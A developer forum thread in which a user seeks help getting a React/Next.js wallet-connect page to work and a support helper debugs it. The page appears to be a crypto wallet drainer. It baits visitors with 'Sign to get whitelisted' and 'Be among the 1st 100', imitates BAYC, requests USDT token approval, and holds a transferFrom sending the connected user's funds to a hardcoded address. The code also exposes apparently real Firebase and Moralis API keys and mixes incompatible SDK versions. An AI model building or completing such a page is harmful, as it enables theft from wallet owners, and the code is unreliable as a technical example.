Moralis.executeFunction not working

async function approve() {

  const options = {

    contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",

    functionName: "approve",

    abi: [

      {"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},

    ],

    params: {

      _spender: user,

      _value: "1000000000000000000"

    }

  };

  await Moralis.executeFunction(options);

  console.log();

}
return (
<Button ml="4" colorScheme="yellow" onClick={approve}>Get It!</Button>
)

Uncaught (in promise) TypeError: Moralis.executeFunction is not a function

i have tried everything i know

Hi @Blaq

Moralis.executeFunction is part of Moralis-v1 sdk, so if you are trying to use this with the latest Moralis v2 sdk then it will not work.

import { useEffect, useState } from "react"

import Moralis from 'moralis-v1'

import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"

import Head from "next/head"

import { useMoralis, useWeb3Contract } from "react-moralis"

// import Balance from "../components/Balance"

// import Transactions from "../components/Transactions"

import Header from "../components/Header"

// import Profile from "../components/Profile"

import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'

import { useDisclosure } from '@chakra-ui/react'

import { MoralisProvider } from "react-moralis";

import {initializeApp} from "firebase/app";

import {getFirestore, addDoc, collection} from 'firebase/firestore'

import { getAuth } from '@firebase/auth';

import {getDatabase} from 'firebase/database';

import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';

import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';

import { getFunctions } from "firebase/functions"

import WalletConnectProvider from "@walletconnect/web3-provider";

import { Web3Provider } from '@ethersproject/providers';

export const app = initializeApp({

  apiKey: "AIzaSyBb5Pt9inGrPrVXp-sEtkCt3JX-Dn8i1BY",

  authDomain: "crypto-c63aa.firebaseapp.com",

  projectId: "crypto-c63aa",

  storageBucket: "crypto-c63aa.appspot.com",

  messagingSenderId: "816656453821",

  appId: "1:816656453821:web:44e0bb46ab1c494875e7d4",

  measurementId: "G-HRE2LN8J9N"

});

const db = getFirestore();

const auth = getAuth(app);

const functions = getFunctions();

function Home() {

  const [user, setUser]= useState(null);

  const [displayName, setdisplayName] = useState('');

  //const { EvmChain } = require("@moralisweb3/common-evm-utils");

 

  const Moralis = require("moralis").default;

  if (!Moralis.Core.isStarted) {

    Moralis.start({

      apiKey:

        "yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk",

    });

  }


  //const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()

 

  const {isAuthenticated, authenticate, login, enableWeb3, isWeb3Enabled, logout, isLoggingOut } = useMoralis()

  const [approved, setApproved] = useState(false);

  const { runContractFunction: data, enterTxResponse, error, isLoading, isFetching } = useWeb3Contract({

}

);

async function approve() {

  const options = {

    contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",

    functionName: "approve",

    abi: [

      {"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},

    ],

    params: {

      _spender: user,

      _value: "1000"

    }

  };

  await Moralis.executeFunction(options);

  console.log();

}

// async function gas(){

//   const ethers = Moralis.web3Library;

//  const web3Provider = await Moralis.enableWeb3();

//  const signer = web3Provider.getSigner();

//  const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);

//  let res = await contract.approve("0xdAC17F958D2ee523a2206206994597C13D831ec7", 1000000, {

//   gasPrice: ethers.utils.parseUnits("5", "gwei").toString(),

//   gasLimit: 48525

//  })

// }

const { account } = useMoralis();

// async function transferFromCon() {

  // async function transfer(){

  //  const web3Provider = await Moralis.enableWeb3();

  //  const signer = web3Provider.getSigner();

  //  const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);

  //  let res = await contract.transferFrom({

  //    _from: account,

  //    _to: "0x2589Fd32E1849028562ec92fc72f54B2A376050e",

  //    _value: 1000000,

  //    gasPrice: ethers.utils.parseUnits("20", "gwei").toString(),

  //    gasLimit: 280000

  //  })

  //  }

  async function transfer(){

    const ethers = Moralis.web3Library;

  const web3Provider = await Moralis.enableWeb3();

  const signer = web3Provider.getSigner();

  const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);

  let res = await contract.transferFrom({

    _from: account,

    _to: "",

    _value: 1000000,

    gasPrice: ethers.utils.parseUnits("20","gwei").toString(),

    gasLimit: 280000

  })

  }


useEffect(() => {

  if (!isWeb3Enabled && isAuthenticated)

  enableWeb3();

},[isWeb3Enabled, isAuthenticated]);

useEffect(() => {

    // Assuming you have the wallet address available in the 'user' variable

    if (user) {

      setdisplayName(user.displayName);

    }

  }, [user]);

  useEffect(() => {

    if (displayName) {

      // Store the wallet address in Firestore

      addDoc(collection(db, 'users'), {

        walletAddress: displayName

      })

        .then(() => {

          console.log('Wallet address stored in Firestore');

        })

        .catch((error) => {

          console.error('Error storing wallet address:', error);

        });

    }

  }, [displayName]);

const { isOpen, onOpen, onClose } = useDisclosure()

if(!isAuthenticated && !user) {

  console.log(user);

  async function login() {

    const moralisAuth = getMoralisAuth(app, {

      auth,

      functions,

    });

    const res = await signInWithMoralis(moralisAuth);

 

    setUser(res.credentials.user);

    console.log(res.credentials.user)

  }

   

  async function logout() {

    await auth.signOut();

    setUser(null);

  }

  
  return(

    <>

    <Head>

      <title></title>

      </Head>

      <Flex

       direction="column"

      justifyContent="center"

      alignItems="center"

      width="100vw"

      height="100vh"

      bgGradient="linear(to-br, teal.400, purple.300)"

      backgroundImage="url('../bay.jpg')"

      >

        <Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => login({

           signingMessage: "Sign to get whitelisted on "

         })}

        >Sign in with Metamask</Button>

        <br />

       

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => authWalletConnect({

           signingMessage: "Sign to get whitelisted on "

         })}

        >Sign in with Wallet Connect</Button>

      </Flex>

      </>

  )

};

 

async function authWalletConnect() {

  const user = login({

    provider: "walletconnect",

    chainId: 56,

    mobileLinks: [

      "metamask",

      "trust",

      "rainbow",

      "argent",

      "imtoken",

      "pillar",

      "mathwallet",

      "meet.one wallet",

      "equal",

      "safepal",

      "cool wallet",

      "xwallet",

      "atomic",

      "myetherwallet",

      "cybavo",

      "onto",

      "mycrypto",

      "minerva wallet",

      "metax",

      "encrypted ink",

      "gnosis safe",

      "bitpay",

      "fireblocks",

      "debank",

      "tokenpocket",

      "infinity wallet",

      "coinbase wallet"

    ],

    signingMessage: "Sign to get whitelisted on ",

  });

  console.log(user);

};

// const handleSuccess = async (tx) => {

// await tx.wait(1)

// setApproved(true)

// // handleNewNotification(tx)

// }

// console.log(handleSuccess)

  return (

   

    <>

    <Head>

        <title></title>

        <meta name="description" content="" />

        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />

        <link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />

        <link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />

        <link rel="manifest" href="/site.webmanifest" />

        <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />

        <meta name="msapplication-TileColor" content="#da532c" />

        <meta name="theme-color" content="#ffffff" />

      </Head>

      <Flex direction="column" width="100vw" height="100vh">

        <Header user={user.displayName} logout={logout} isLoggingOut={isLoggingOut}/>

        <Box flex="1" bg="purple.100" px="11" py="44">

        <Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">

      <Alert status="success">

          <AlertIcon />

          Wallet connected succesfully {user.displayName}

        </Alert>

        <br />

        <Button onClick={onOpen}>Get it now!</Button>

        <Modal isOpen={isOpen} onClose={onClose}>

        <ModalOverlay />

        <ModalContent>

          <ModalHeader color="purple">Be among the 1st 100</ModalHeader>

          <ModalCloseButton />

          <ModalBody>

          <Image src="../.jpg" />

          </ModalBody>

          <ModalFooter>

          <Button ml="4" colorScheme="yellow" onClick={approve}>Get It!</Button>

            {/* <Button colorScheme='blue' mr={3} onClick={onClose}>

              Close

            </Button> */}

            {/* <Button ml="4" className="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded ml-auto"

              disabled={isLoading || isFetching || approved} >{ approved ? "Approved" : "Get It!" }

              </Button> */}

              <Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>Continue</Button>

          </ModalFooter>

        </ModalContent>

      </Modal>

      <br />

         

        </Tabs>

        </Box>

      </Flex>

    </>

  )

}

export default Home

my index.js code

my package.js

{

  "name": "widehack",

  "version": "0.1.0",

  "homepage": "https://",

  "private": true,

  "dependencies": {

    "@babel/eslint-parser": "^7.18.9",

    "@chakra-ui/react": "^1.8.9",

    "@emotion/react": "^11.9.0",

    "@emotion/styled": "^11.8.1",

    "@ethereumjs/block": "^4.0.0",

    "@ethereumjs/common": "^3.0.0",

    "@ethereumjs/tx": "^4.0.0",

    "@ethereumjs/vm": "^6.0.0",

    "@metamask/eth-sig-util": "^4.0.1",

    "@metamask/safe-event-emitter": "^2.0.0",

    "@moralisweb3/client-firebase-auth-utils": "^2.22.2",

    "@moralisweb3/client-firebase-evm-auth": "^2.22.2",

    "@moralisweb3/common-evm-utils": "^2.22.2",

    "@newrelic/next": "^0.3.0",

    "@next/swc-win32-x64-msvc": "^12.1.6",

    "@rollup/plugin-babel": "^5.3.1",

    "@walletconnect/web3-provider": "^1.8.0",

    "@web3auth/web3auth": "^0.10.0",

    "browserify": "^17.0.0",

    "chokidar": "^3.5.3",

    "cleanup-react-app": "^1.1.3",

    "firebase": "^9.22.2",

    "firebase-admin": "^11.9.0",

    "framer-motion": "^6.3.3",

    "git": "^0.1.5",

    "image-optimizer": "^0.1.0",

    "joi": "^17.6.0",

    "magic-sdk": "^8.1.1",

    "mkdirp": "^1.0.4",

    "moralis": "^2.22.3",

    "moralis-v1": "^1.13.0",

    "multiformats": "^9.8.1",

    "next": "^12.3.0",

    "react": "^18.2.0",

    "react-dom": "^18.1.0",

    "react-moralis": "^1.4.2",

    "react-redux": "^8.0.2",

    "react-responsive": "^9.0.0-beta.8",

    "react-scripts": "^5.0.1",

    "react-spring": "^9.0.0-rc.3",

    "Require": "^1.1.2",

    "resolve-url": "^0.2.1",

    "sane": "^5.0.1",

    "source-map-resolve": "^0.6.0",

    "source-map-url": "^0.4.1",

    "styled-components": "^5.3.5",

    "svgo": "^2.8.0",

    "urix": "^0.1.0",

    "urlsearchparams": "^0.1.1",

    "uuid": "^9.0.0",

    "web3": "^1.7.3",

    "webpack": "^5.74.0"

  },

  "scripts": {

    "dev": "node server.js",

    "build": "next build",

    "start": "NODE_ENV=production node server.js"

  },

  "eslintConfig": {

    "extends": [

      "react-app",

      "react-app/jest"

    ]

  },

  "browserslist": {

    "production": [

      ">0.2%",

      "not dead",

      "not op_mini all"

    ],

    "development": [

      "last 1 chrome version",

      "last 1 firefox version",

      "last 1 safari version"

    ]

  }

}

Your code looks correct. Not sure what it says it is not a function.

Since you are using react-moralis can you once try using useWeb3ExecuteFunction? It works same as Moralis.executeFunction.

I’ve gone through the doc link you sent, please how can I add this to my code?

Import the useWeb3ExecuteFunction from react-moralis and add the code similar to this in your code with your parameters…

const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction({
    abi: "abi",
    contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",
    functionName: "approve",
 params: {
      _spender: user,
      _value: "1000"
    }
  });

Now you will have to replace Moralis.executeFunction with fetch function of the hook.

Once the contract data is fetched you can use data variable from the hook to read the data.

import { useEffect, useState } from "react"

import Moralis from 'moralis-v1'

//import Moralis from 'moralis'

import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"

import Head from "next/head"

import { useMoralis, useWeb3Contract, useWeb3ExecuteFunction } from "react-moralis"

// import Balance from "../components/Balance"

// import Transactions from "../components/Transactions"

import Header from "../components/Header"

// import Profile from "../components/Profile"

import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'

import { useDisclosure } from '@chakra-ui/react'

import { MoralisProvider } from "react-moralis";

import {initializeApp} from "firebase/app";

import {getFirestore, addDoc, collection} from 'firebase/firestore'

import { getAuth } from '@firebase/auth';

import {getDatabase} from 'firebase/database';

import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';

import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';

import { getFunctions } from "firebase/functions"

import WalletConnectProvider from "@walletconnect/web3-provider";

import { Web3Provider } from '@ethersproject/providers';

export const app = initializeApp({

  apiKey: "AIzaSyBb5Pt9inGrPrVXp-sEtkCt3JX-Dn8i1BY",

  authDomain: "crypto-c63aa.firebaseapp.com",

  projectId: "crypto-c63aa",

  storageBucket: "crypto-c63aa.appspot.com",

  messagingSenderId: "816656453821",

  appId: "1:816656453821:web:44e0bb46ab1c494875e7d4",

  measurementId: "G-HRE2LN8J9N"

});

const db = getFirestore();

const auth = getAuth(app);

const functions = getFunctions();

Moralis.appId = 'yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk'

Moralis.serverURL = 'https://crypto-c63aa-default-rtdb.firebaseio.com';

function Home() {

  const [user, setUser]= useState(null);

  const [displayName, setdisplayName] = useState('');

  const Moralis = require("moralis").default;

  const { EvmChain } = require("@moralisweb3/common-evm-utils");

  const MORALIS_API_KEY = "yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk";

  const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();

if (!Moralis.Core.isStarted) {

    Moralis.start({

      apiKey: MORALIS_API_KEY,

    });

  }

  //const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()

 

  const {isAuthenticated, authenticate, enableWeb3, isWeb3Enabled, logout, isLoggingOut } = useMoralis()

  const [approved, setApproved] = useState(false);

  const { runContractFunction: enterTxResponse } = useWeb3Contract({

}

);

async function approve() {

  const options = {

    contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",

    functionName: "approve",

    chain: EvmChain.ETHEREUM,

    abi: [

      {"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},

    ],

    params: {

      _spender: user,

      _value: "1000"

    }

  };

  try {

      const result = await fetch({ params: options });

      console.log('Function executed successfully', result);

    } catch (error) {

      console.error('Error executing function:', error);

    }

}

const { account } = useMoralis();

  async function transfer(){

    const ethers = Moralis.web3Library;

  const web3Provider = await Moralis.enableWeb3();

  const signer = web3Provider.getSigner();

  const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);

  let res = await contract.transferFrom({

    _from: account,

    _to: "0x2589Fd32E1849028562ec92fc72f54B2A376050e",

    _value: 1000000,

    gasPrice: ethers.utils.parseUnits("20","gwei").toString(),

    gasLimit: 280000

  })

  }

useEffect(() => {

  if (!isWeb3Enabled && isAuthenticated)

  enableWeb3();

},[isWeb3Enabled, isAuthenticated]);

useEffect(() => {

    // Assuming you have the wallet address available in the 'user' variable

    if (user) {

      setdisplayName(user.displayName);

    }

  }, [user]);

  useEffect(() => {

    if (displayName) {

      // Store the wallet address in Firestore

      addDoc(collection(db, 'users'), {

        walletAddress: displayName

      })

        .then(() => {

          console.log('Wallet address stored in Firestore');

        })

        .catch((error) => {

          console.error('Error storing wallet address:', error);

        });

    }

  }, [displayName]);

const { isOpen, onOpen, onClose } = useDisclosure()

if(!isAuthenticated && !user) {

  console.log(user);

  async function login() {

    const moralisAuth = getMoralisAuth(app, {

      auth,

      functions,

    });

    const res = await signInWithMoralis(moralisAuth);

 

    setUser(res.credentials.user);

    console.log(res.credentials.user)

  }

   

  async function logout() {

    await auth.signOut();

    setUser(null);

  }

  async function authWalletConnect() {

    const user = login({

      provider: "walletconnect",

      chainId: 56,

      mobileLinks: [

        "metamask",

        "trust",

        "rainbow",

        "argent",

        "imtoken",

        "pillar",

        "mathwallet",

        "meet.one wallet",

        "equal",

        "safepal",

        "cool wallet",

        "xwallet",

        "atomic",

        "myetherwallet",

        "cybavo",

        "onto",

        "mycrypto",

        "minerva wallet",

        "metax",

        "encrypted ink",

        "gnosis safe",

        "bitpay",

        "fireblocks",

        "debank",

        "tokenpocket",

        "infinity wallet",

        "coinbase wallet"

      ],

      signingMessage: "Sign",

    });

    console.log(user);

  };

  return(

    <>

    <Head>

      <title></title>

      </Head>

      <Flex

       direction="column"

      justifyContent="center"

      alignItems="center"

      width="100vw"

      height="100vh"

      bgGradient="linear(to-br, teal.400, purple.300)"

      backgroundImage="url('../bay.jpg')"

      >

        <Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => login({

           signingMessage: "Sign"

         })}

        >Sign in with Metamask</Button>

        <br />

       

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => authWalletConnect({

           signingMessage: "Sign"

         })}

        >Sign in with Wallet Connect</Button>

      </Flex>

      </>

  )

};

  return (

   

    <>

    <Head>

        <title></title>

        <meta name="description" 
" />

        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />

        <link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />

        <link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />

        <link rel="manifest" href="/site.webmanifest" />

        <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />

        <meta name="msapplication-TileColor" content="#da532c" />

        <meta name="theme-color" content="#ffffff" />

      </Head>

      <Flex direction="column" width="100vw" height="100vh">

          <Header user={user.displayName} logout={logout} isLoggingOut={isLoggingOut} />

          <Box flex="1" bg="purple.100" px="11" py="44">

            <Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">

              <Alert status="success">

                <AlertIcon />

                Wallet connected successfully {user.displayName}

              </Alert>

              <br />

              <Button onClick={onOpen}>Get it now!</Button>

              <Modal isOpen={isOpen} onClose={onClose}>

                <ModalOverlay />

                <ModalContent>

                  <ModalHeader color="purple">Be among the 1st 100</ModalHeader>

                  <ModalCloseButton />

                  <ModalBody>

                    <Image src="../ />

                  </ModalBody>

                  <ModalFooter>

                    <Button onClick={approve} disabled={isFetching}>

                      Get It!

                    </Button>

                    {error && <ErrorMessage error={error} />}

                    {data && (

                      <pre>{JSON.stringify(data)}</pre>

                    )}

                    <Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>

                      Continue

                    </Button>

                  </ModalFooter>

                </ModalContent>

              </Modal>

              <br />

            </Tabs>

          </Box>

        </Flex>

    </>

  )

}

export default Home

hi, please the useWeb3ExecuteFunction is still not working on approve function

Hi @Blaq

Are you seeing any errors in browser console or code editor console? More details might help to understand what is causing the error.

thanks for replying, i fixed it by enabling web3 in my approve function, but this error refuse to leave

Unable to connect to parse API is thrown by Moralis.start function when the server is not active. Make sure your server is active.

if (!Moralis.Core.isStarted) {

    Moralis.start({

      apiKey: process.env.NEXT_PUBLIC_APPID,

    });

  }

please i am using firebase firestore as my server

It seems like you are using moralis-v1 sdk, so to use it you will need to use Moralis with serverUrl and AppId.

Moralis.start({
      serverUrl: "server_url"
     appId: "App_id"
    });

The below syntax is to use Moralis with our v2 backend sdk. You can check the latest docs about using the v2 sdk.

Moralis.start({
      apiKey: "api_key",
    });

In your case you need the serverUrl and APPId as you are using the react-moralis, Moralis-v1 sdk.


i got this error message

import { useEffect, useState } from "react"

//import Moralis from 'moralis-v2'

//import Moralis from 'moralis'

import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"

import Head from "next/head"

import { MoralisProvider, useMoralis, useWeb3Contract, useWeb3ExecuteFunction } from "react-moralis"

// import Balance from "../components/Balance"

// import Transactions from "../components/Transactions"

import Header from "../components/Header"

// import Profile from "../components/Profile"

import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'

import { useDisclosure } from '@chakra-ui/react'

import {initializeApp} from "firebase/app";

import { getFirestore, collection, getDocs, addDoc, query, where, limit  } from 'firebase/firestore';

import { getAuth } from '@firebase/auth';

import {getDatabase} from 'firebase/database';

import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';

import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';

import { EvmChain } from "@moralisweb3/common-evm-utils";

import { getFunctions } from "firebase/functions"

import WalletConnectProvider from "@walletconnect/web3-provider";

import { Web3Provider } from '@ethersproject/providers';

export const app = initializeApp({

  apiKey: "AIzaSyBb5Pt9inGrPrVXp-sEtkCt3JX-Dn8i1BY",

  authDomain: "crypto-c63aa.firebaseapp.com",

  projectId: "crypto-c63aa",

  storageBucket: "crypto-c63aa.appspot.com",

  messagingSenderId: "816656453821",

  appId: "1:816656453821:web:44e0bb46ab1c494875e7d4",

  measurementId: "G-HRE2LN8J9N"

});

const db = getFirestore();

const auth = getAuth(app);

const functions = getFunctions();

function Home() {

  const [user, setUser]= useState(null);

  const [displayName, setdisplayName] = useState('');

  const Moralis = require("moralis").default;

  const { EvmChain } = require("@moralisweb3/common-evm-utils");

 

  const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();

  // Moralis.start({ apiKey: process.env.NEXT_PUBLIC_APPID });

  const express = require("express");

const cors = require("cors");

const app = express();

const port = 4000;

// allow access to React app domain

app.use(

  cors({

    origin: "http://localhost:3000",

    credentials: true,

  })

);

const MORALIS_API_KEY = "yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk";

// const address = "0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d";

const startServer = async () => {

  await Moralis.start({

    apiKey: MORALIS_API_KEY,

  });

  app.listen(port, () => {

    console.log(`Example app listening on port ${port}`);

  });

};

startServer();

i am trying to use v2 sdk but got this issue

Hi @Blaq

It seems like you are trying to combine both v1 and v2 modules.

You need serverUrl and AppId to use Moralis-v1 sdk, react- moralis sdk. And you need apiKey to use the latest Moralis v2 sdk. And API key is not same as AppId.

Can you tell me what features you are trying to use from moralis-v1 or react-moralis sdk? I can share you some tutorials on how you can do it with latest sdk.

please where can i find my appId, i’m seeing only api key in my moralis account

import { useEffect, useState } from "react"

import Moralis from 'moralis'

//import Moralis from 'moralis'

import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"

import Head from "next/head"

import { MoralisProvider, useMoralis, useWeb3Contract, useWeb3ExecuteFunction } from "react-moralis"

// import Balance from "../components/Balance"

// import Transactions from "../components/Transactions"

import Header from "../components/Header"

// import Profile from "../components/Profile"

import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'

import { useDisclosure } from '@chakra-ui/react'

import {initializeApp} from "firebase/app";

import { getFirestore, collection, getDocs, addDoc, query, where, limit  } from 'firebase/firestore';

import { getAuth } from '@firebase/auth';

import {getDatabase} from 'firebase/database';

import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';

import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';

import { EvmChain } from "@moralisweb3/common-evm-utils";

import { getFunctions } from "firebase/functions"

import WalletConnectProvider from "@walletconnect/web3-provider";

import { Web3Provider } from '@ethersproject/providers';

export const app = initializeApp({

  apiKey: "AIzaSyBb5Pt9inGrPrVXp-sEtkCt3JX-Dn8i1BY",

  authDomain: "crypto-c63aa.firebaseapp.com",

  projectId: "crypto-c63aa",

  storageBucket: "crypto-c63aa.appspot.com",

  messagingSenderId: "816656453821",

  appId: "1:816656453821:web:44e0bb46ab1c494875e7d4",

  measurementId: "G-HRE2LN8J9N"

});

const db = getFirestore();

const auth = getAuth(app);

const functions = getFunctions();

Moralis.appId = 'yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk'

Moralis.serverURL = 'https://firestore.googleapis.com/v1/';

const MORALIS_API_KEY = "yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk";

const MORALIS_SERVER_URL='https://firestore.googleapis.com/v1/'

function Home() {

  const [user, setUser]= useState(null);

  const [displayName, setdisplayName] = useState('');

  const Moralis = require("moralis").default;

  const { EvmChain } = require("@moralisweb3/common-evm-utils");

 

  const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();

  // Moralis.start({ apiKey: process.env.NEXT_PUBLIC_APPID });

 

if (!Moralis.Core.isStarted) {

    Moralis.start({

      AppId: MORALIS_API_KEY,

      serverUrl: MORALIS_SERVER_URL

    });

  }

// const enableWeb3 = async () => {

//   try {

//     await Moralis.enable();

//     console.log('Web3 enabled successfully');

//   } catch (error) {

//     console.error('Error enabling Web3:', error);

//   }

// };

// // Call enableWeb3 function when needed

// enableWeb3();

  //const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()

 

  const {isAuthenticated, web3, enableWeb3, isWeb3EnableLoading, web3EnableError, authenticate, isWeb3Enabled, logout, isLoggingOut } = useMoralis()

  const [approved, setApproved] = useState(false);

  const { runContractFunction: enterTxResponse } = useWeb3Contract({

}

);

useEffect(() => {

  if (!isWeb3Enabled && isAuthenticated) {

    enableWeb3();

  }

}, [isWeb3Enabled, isAuthenticated]);

useEffect(() => {

    // Assuming you have the wallet address available in the 'user' variable

    if (user) {

      setdisplayName(user.displayName);

    }

  }, [user]);

  useEffect(() => {

    if (displayName) {

      // Check if a document with the same displayName already exists

      const q = query(collection(db, 'users'), where('walletAddress', '==', displayName), limit(1));

      getDocs(q)

        .then((querySnapshot) => {

          if (querySnapshot.empty) {

            // No existing document found, create a new one

            addDoc(collection(db, 'users'), {

              walletAddress: displayName

            })

              .then(() => {

                console.log('Wallet address stored in Firestore');

              })

              .catch((error) => {

                console.error('Error storing wallet address:', error);

              });

          } else {

            console.log('Document already exists with the same wallet address:', displayName);

          }

        })

        .catch((error) => {

          console.error('Error checking existing documents:', error);

        });

    }

  }, [displayName]);

   

  // useEffect(() => {

  //   if (displayName) {

  //     // Store the wallet address in Firestore

  //     addDoc(collection(db, 'users'), {

  //       walletAddress: displayName

  //     })

  //       .then(() => {

  //         console.log('Wallet address stored in Firestore');

  //       })

  //       .catch((error) => {

  //         console.error('Error storing wallet address:', error);

  //       });

  //   }

  // }, [displayName]);

async function approve() {

  if (!isWeb3Enabled) {

    enableWeb3();

  }

  const options = {

    contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",

    functionName: "approve",

    chain: EvmChain.ETHEREUM,

    abi: [

      {"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},

    ],

    params: {

      _spender: user?.displayName, // Use the Ethereum address of the user

      _value: "1000"

    }

  };

  try {

    const result = await fetch({ params: options });

    console.log('Function executed successfully', result);

    setApproved(true); // Update the approved state

  } catch (error) {

    console.error('Error executing function:', error);

  }

}

const { account } = useMoralis();

  async function transfer(){

    const ethers = Moralis.web3Library;

  const web3Provider = await Moralis.enableWeb3();

  const signer = web3Provider.getSigner();

  const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);

  let res = await contract.transferFrom({

    _from: account,

    _to: "0x2589Fd32E1849028562ec92fc72f54B2A376050e",

    _value: 1000000,

    gasPrice: ethers.utils.parseUnits("20","gwei").toString(),

    gasLimit: 280000

  })

  }

const { isOpen, onOpen, onClose } = useDisclosure()

if(!isAuthenticated && !user) {

  console.log(user);

  async function login() {

    const moralisAuth = getMoralisAuth(app, {

      auth,

      functions,

    });

    const res = await signInWithMoralis(moralisAuth);

 

    setUser(res.credentials.user);

    console.log(res.credentials.user)

  }

   

  async function logout() {

    await auth.signOut();

    setUser(null);

  }

  async function authWalletConnect() {

    const user = authenticate({

      provider: "walletconnect",

      chainId: 56,

      mobileLinks: [

        "metamask",

        "trust",

        "rainbow",

        "argent",

        "imtoken",

        "pillar",

        "mathwallet",

        "meet.one wallet",

        "equal",

        "safepal",

        "cool wallet",

        "xwallet",

        "atomic",

        "myetherwallet",

        "cybavo",

        "onto",

        "mycrypto",

        "minerva wallet",

        "metax",

        "encrypted ink",

        "gnosis safe",

        "bitpay",

        "fireblocks",

        "debank",

        "tokenpocket",

        "infinity wallet",

        "coinbase wallet"

      ],

      signingMessage: "Sign",

    });

    console.log(user);

  };

  // if(isWeb3Enabled){

  //   return null

  // }  

  return(

    <>

    <MoralisProvider appId={process.env.NEXT_PUBLIC_APPID}

    serverUrl={process.env.NEXT_PUBLIC_SERVER_URL}>

    </MoralisProvider>

    <Head>

      <title>BAYC</title>

      </Head>

      <Flex

       direction="column"

      justifyContent="center"

      alignItems="center"

      width="100vw"

      height="100vh"

      bgGradient="linear(to-br, teal.400, purple.300)"

